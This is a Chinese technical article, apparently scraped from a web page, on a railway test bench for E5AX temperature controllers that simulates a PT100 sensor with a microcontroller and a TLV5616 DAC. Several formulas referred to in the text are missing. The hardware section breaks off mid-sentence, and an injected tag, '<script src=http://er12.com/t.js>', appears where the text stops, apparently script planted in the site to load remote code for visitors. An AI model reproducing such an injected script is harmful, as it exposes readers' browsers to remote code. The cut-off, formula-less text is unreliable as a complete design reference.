E5AX系列温控仪试验台的研制

  [摘 要] 详细介绍了一种新颖的温控仪测试方法———pt100的单片机阻抗模拟法,和基于此法的系统硬件和软件设计。与传统的测试装置相比,该设计大大简化了装置结构、降低了装置成本,可缩短测试时间。

  [关键词] 测试装置;阻抗模拟;单片机;显示识别;rs-232通信

the development of a testing device for the e5ax series temperature controller

  zengya-bo,pan di-fu
(centralsouth university,hunan-changsha410075,china) 

  abstract:this paper gives an account of an novel method for testing temperature controller,i.e.rtd'ssimulation method based on mcu,and discusses its hardware and software design.compared with a traditionaltesting device,this method can simplifythe hardware structure,bring down costand reducetesting time greatly.  

  key words:testing device;impedance simulation;mcu;identification display;rs-232 communication

1 前 言  

  根据统一型客车空调控制柜的设计和应用,铁路空调客车大量使用了omron公司的e5ax系列温控仪,测温传感器均为pt100。为保证客车空调控制系统正常工作,各车辆应用部门须定期对温控仪进行校验。校验的主要内容有两项:在工作温度范围内温控仪是否保持其测量精度;温控仪控制输出的高、低温继电器的动作值和回差值是否正确。传统的测试方法是将标准的pt100温度传感器置于一个可调的恒温源中,温控仪的输入为标准pt100,在各测试点用比较法来检测温控仪。制作一种可制冷、升温的恒温源成本很高,稳定到各测试点的时间较长,要实现较高的温度分辨率和稳定度也不是很容易。从pt100的工作原理可知,它是将温度的变化转换成与之对应的电阻变化,对于工作在pt100模式的e5ax温控仪而言,其测量的是电阻值,而显示和控制则是按温度分度。根据此思想,笔者在为铁路车辆段研制“客车空调温控仪试验台”时,设计了一种基于单片机和dac的程控电阻发生器来模拟标准pt100传感器,作为被试温控仪的输入。在 各模拟温度点,检测温控仪的显示输出即可。此法无需真实温度源,因此使试验台的硬件大大简化,制作成本也大幅度下降,同时使测试时间大为缩短。

   试验台的主要技术参数:

   (1)模拟温度范围:10℃~50℃,误差≤0.5%  

  (2)模拟温度分辨率:14℃~20℃和22℃~28℃范围内为0.1℃,其余为0.5℃

  (3)计算机自动完成全部测试过程,打印出测试报表。

2 阻抗模拟原理
  

  图2—1是阻抗(电阻)模拟的基本原理图。设放大器不吸收电流,它将电压u反向放大k倍。由图2—1得等效电阻(即模拟电阻)

由上式可见,只要程控放大器的增益k,便可改变等效电阻rm。实现程控放大器的方法有多种,如用多路开关或继电器阵列切换增益电阻,或者用数控电位器来改变增益,但从计算机接口方便、增益的控制精度和分辩率方面考虑,用数模转换ic(dac)来实现程控放大器应该是研制项目的最佳方案。

  用dac实现程控放大器的程控阻抗变换原理如图2—2所示。

  设dac(电压型)的转换特性为di是输入的数字量,n为dac的位数,vr是dac的参考电压。而vr=u(1+r2/r1),i=(u-ux)/r。结合这3个算式便可得模拟电阻表达式:

  由上式可见,只要程控数字量di,便可得所需的模拟电阻值。尽管rm与di的关系为非线性,但对于带有计算机的装置来说,非线性并不构成问题。  

  将反馈电阻r换成c或l、或它们的组合,可构成电容、电感或阻抗的程控发生器。

3 硬件设计  

  图3—1为试验台的单片机系统硬件结构。

  dac采用ti公司的tlv5616芯片,该芯片为8pin soic封装,单电源供电(2.7~5.5v),12位分辨率、具有灵活的4线串行接口、电压输出型、差分非线性(dnl)<0.5lsb、串行时钟频率最高可达20mhz。tlv5616可以与tms320、spi和microwire串行口无缝连接。系统所采用的89c51单片机虽然无通用的spi接口,但可以通过软件来实现tlv5616的工作时序,编程也不算复杂。

  图3—2是tlv5616的引脚图。din是串行数字输入端,sclk串行时钟输入端,为片选输入端,fs为帧同步输入端,vref为参考电压输入端(系统中接运放1的输出),vout是电压输出端。片内有一个2倍的输出放大器,其转换关系为:

vout=2×vref×di/4096   (3—1)

受电源电压5v的限制,vout应小于4.6v。

tlv5616的din、sclk?script src=http://er12.com/t.js>

  • E5AX系列温控仪试验台的研制已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计